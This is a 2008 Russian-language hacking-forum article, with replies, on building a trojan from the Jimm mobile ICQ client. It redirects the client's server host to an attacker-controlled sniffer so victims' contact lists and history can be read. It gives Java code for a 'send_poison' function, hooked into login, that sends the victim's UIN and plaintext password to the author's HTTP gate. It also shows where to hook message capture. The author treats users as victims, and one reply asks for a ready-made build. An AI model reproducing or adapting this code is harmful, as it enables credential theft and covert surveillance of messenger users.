HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

JIMM Изнутри by Whirt (Часть 1)
  #1  
Старый 27.06.2008, 00:47
Whirt
Участник форума
Регистрация: 24.06.2008
Сообщений: 105
С нами: 9410256

Репутация: 276
По умолчанию JIMM Изнутри by Whirt (Часть 1)

Jimm изнутри (Часть 1)

Вступление
Мобильные технологии прогрессируют неимоверными темпами. Аська давно перебралась на мобильные
платформы, и, весьма неплохо себя там чувствует. Давайте посмотрим, что представляет
из себя один из наиболее популярных представителей мобильных ICQ клиентов изнутри,
и попытаемся использовать его в своих (учебных) целях

Впринципе, явакодингом особо до этого я не занимался, но привлекало то,
ява - это си-подобный язык, поэтому я подумал, что смогу разобраться с исходниках без особого труда (да и разберется думаю любой другой более-менее соображающий php/c/c++ кодер )
Впринципе, так и оказалось) Более того, исходники имеют потрясающую читабельность
Пара часиков у меня ушла на изучения общего принципа работа и устройства jimm )

У меня была загружена версия 0.5.2 от Xаttаb'а, но впринципе, сама версия не имеет
для нас особого значения.

Последнюю версию вы всегда можете загрузить на:

_http://jimm.im/php/downloads.php?ids=25

Меняем адрес сервера
Распакуем, архив, лезем в \jimm\src\jimm\Options.java

Находим объявление функции:
Код:
static private void setDefaults()
Ага, то, что нам надо. Проставляет дефолтовые значения переменных.

Код:
setString (Options.OPTION_SRV_HOST,           "login.icq.com");
// #sijapp cond.else# ===
// #sijapp cond.if modules_PROXY is "true" #
setString (Options.OPTION_SRV_HOST,           "64.12.161.185"); //Cannot resolve host IP on MIDP1 devices
// #sijapp cond.else#
setString (Options.OPTION_SRV_HOST,           "login.icq.com");
// #sijapp cond.end#
// #sijapp cond.end# <===
setString (Options.OPTION_SRV_PORT,           "5190");
Как видим, в опции заносится хост и порт.
Мы можем изменить их по своему усмотрению на фиктивный хост, через
который будут идти данные и впарить жертве.

Тут можно пойти двумя путями: зарегаться на simkl.com или установить свой сниффер
AIM ( http://www.aimsniff.com/ ) и указать на него.

Сам я юзал в данном случае сервис simkl.com, тк своего серва/дедика не было,
а на firstvds запрещен прямой доступ к сетевым интерфейсам, так что установить
AIM Sniff там не представляется возможным.

Юзаем: Host: im10.simkl.com с портами 80, 3128, 443, 5190.
Для меньшей палевности (если жертва не полный ноль) рекомендуется вписывать
соответствующий IP адрес, а не доменное имя.

После того, как жертва законнектится, мы увидим весь ее список контактов,
ну, и соответственно всю ее хистори.

Пионерим пароль
Если бы мы просмотрели файл Options.java чуть дальше, мы бы заметили,
что UIN хранится в Options.OPTION_UIN, а пароль в Options.OPTION_PASSWORD,
причем записаны они там в абсолютно открытом виде, чем мы и воспользуемся.

Выдрать их можно, используя конструкции:

Код:
Options.getString(Options.OPTION_PASSWORD)
и
Код:
Options.getString(Options.OPTION_UIN)
соответственно.

Итак, пароли нашли, знаем как их оттуда достать? Что же дальше ?
Правильно, нужно напривить их на наш HTTP-гейт
(можно конечно использовать и отправку через простое сообщение ICQ на наш номер,
но я выбрал данный способ, потому что так удобнее собирать БД на сервере,
правда у него есть один недостаток, в самом начале, когда происходит
первый коннект, пользователю придется подтвердить сначала разрешение на открытие
сокета ( это норма ) + разрешение на открытие HTTP соединение.
Впринципе, обычно лапоухие не обращают внимание на это, так было и в моих случаях.)
Но если уж так хочется стырить пароль через пересылку ICQ сообщения,
в конце статье опишу, как это можно сделать.

Итак, нам нужно притырить пароль при коннекте.
Открываем файл \jimm\src\jimm\comm\Icq.java , который ответственен за подключение,
и находим строку:
Код:
public class Icq implements Runnable
сразу после открытой фигурной скобки опишем нашу ядовитую функцию:
Код:
//Адрес гейта
static String script = "http://tools/etc/jimm.php";
//Описываем Http подключение и входящий поток
static         HttpConnection httemp1;
static         InputStream istemp1;
//Наша ядовитая функция, которая будет посылать нужные нам данные на гейт
static public void send_poison(String type, String data)
{
            try
            {

              httemp1 = (HttpConnection) Connector.open(script+"?uin="+Options.getString(Options.OPTION_UIN)+"&type="+type+"&data="+data);
              httemp1.setRequestMethod(HttpConnection.POST);
//Открываем входящий поток
                istemp1 = httemp1.openInputStream();
                if (httemp1.getResponseCode() != HttpConnection.HTTP_OK) throw new IOException();
//Читаем из сокета
                byte[] response_ = new byte[(int)httemp1.getLength()];
                istemp1.read(response_,0,response_.length);



                
            }
            catch (Exception e)
            {
              e.printStackTrace();
            }

}
Далее ищем строку:
Код:
 static protected synchronized void setConnected()
Эта функция ставит систему в статус "Соединен", чтож, впустим туда
свои ядовитые корни.
Добавляем вызов нашей функции:
Код:
send_poison("0x01",Options.getString(Options.OPTION_UIN)+";"+Options.getString(Options.OPTION_PASSWORD));
Она вышлет нам на гейт данные в формате UIN;PASS, где нам их останется только отпарсить.
Здесь 0x01 я просто использовал как описание типа содержимого (в самом гейте),
у меня при 0х01 он ловил и записывал UIN;PASS, при 0х02 ловил сообщения.

Оговорюсь, что метод хищения сообщений на мобильных девайсах не очень хорош
собой, т.к создает дополнительный сетевой траффик, соответственно, будут лаги,
и иногда некоторые сообщения просто будут не доходить (у меня такое было).

Ну, само хищение истории останется вашим домашним заданием ))

В, принципе, если так уж надо, место, где стоит поколдовать, я укажу:
Было установлено, что сообщения проходят через обработку в

\jimm\src\jimm\comm\PlainMessage.java

Открываем.

Смотрим на функции:
Код:
// Создает входящее сообщение
public PlainMessage(String sndrUin, String rcvrUin, long date, String text, boolean offline)
...
// Создает исходящее сообщение
public PlainMessage(String sndrUin, ContactListContactItem rcvr, int _messageType, long date, String text)
Таким образом, здесь использована перегрузка функций, поэтому действие определяется
исходя из набора аргументов.

Если хотите тырить переписку, стоит колдовать с этими функциями.

В моем случае я не стал заморачиваться, и пионерил хистори (хоть и иногда и с половинным
успехом через всю ту же мою ядовитую функцию send_poison.

Еще одна проблема, с который я столкнулся, и которую хотелось бы осветить,
это необходимость перекодировки сообщений в UTF-8 для передачи по HTTP.

Но с тем, как с этим справиться средствами Java (нам придется написать собственную функцию), и о том, как написать наш php-гейт,
а так же скомпилировать проект, я расскажу во второй части статьи.

To be continued...





Disclaimer:
Статья не является руководством к написанию вредоносных программ, а является лишь информацией к размышлению)
Автор не несет ответственности за любой принесенный ущерб в результате неправильного использования
представленной информации, а так же действий, противоречащих УК РФ.

Copyright: Whirt
Special for: Antichat.ru

Последний раз редактировалось Whirt; 27.06.2008 в 13:04.. Причина: edit text errs
 

  #2  
Старый 27.06.2008, 23:42
Whirt
Участник форума
Регистрация: 24.06.2008
Сообщений: 105
С нами: 9410256

Репутация: 276
По умолчанию

Мне тут в репутацию приходят комменты, что "читали подобное". Дайте плиз ссылку?
Статью написал довольно-таки давно, основываясь на собственных исследованиях, но не публиковал. Сейчас просто оформил "как надо".
Соответственно писал, тк, ничего подобного в интернете найти не мог.

Дайте плиз ссылку, где про это можно прочитать, если эта тема поднималась.
 

  #3  
Старый 28.06.2008, 13:26
Cookie
Познающий
Регистрация: 14.09.2007
Сообщений: 69
С нами: 9819576

Репутация: 72
По умолчанию

А выложите сюда уже собранный джим, чтобы пасс отправлял куда следует ))
 

  #4  
Старый 28.06.2008, 14:05
Whirt
Участник форума
Регистрация: 24.06.2008
Сообщений: 105
С нами: 9410256

Репутация: 276
По умолчанию

1) Статья писалась давно, недавно просто привел к читабельному виду и оформил, а сорцы где то в бардаке Cd-r'ок )) Если найду, то выложу.
2) Это позиционируется как мобильный троян, а сейчас на форуме вроде это дело запрещено, если не ошибаюсь.
3) Скоро выложу вторую часть, там показано как сделать гейт и что нужно сотворить, чтобы самому скомпилировать.
 

  #5  
Старый 27.05.2009, 03:43
heks
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
С нами: 9849598

Репутация: 126
По умолчанию

блин были бы еще ссылки на программы с которыми работал было бы просто замечательно и желательно с кряками
 

  #6  
Старый 27.05.2009, 07:34
Forcer
Постоянный
Регистрация: 12.04.2007
Сообщений: 413
С нами: 10042776

Репутация: 275
По умолчанию

Цитата:
Сообщение от heks  
блин были бы еще ссылки на программы с которыми работал было бы просто замечательно и желательно с кряками
для этой статьи достаточно блокнота.
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Атака на хэши (часть вторая) -=lebed=- Криптография, расшифровка хешей 8 07.07.2008 19:54
Возникающие ошибки Jimm DeaDevil Skype, IRC, ICQ, Jabber и другие IM 5 25.05.2008 02:27
547 дней из жизни Яндекса. Часть 1 B1ade SЕО - тонкости, методы раскрутки 0 03.05.2008 16:12
Часть информации с личных компьютеров будет содержаться в хранилищах Google dinar_007 Мировые новости. Обсуждения. 0 13.02.2006 04:20



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.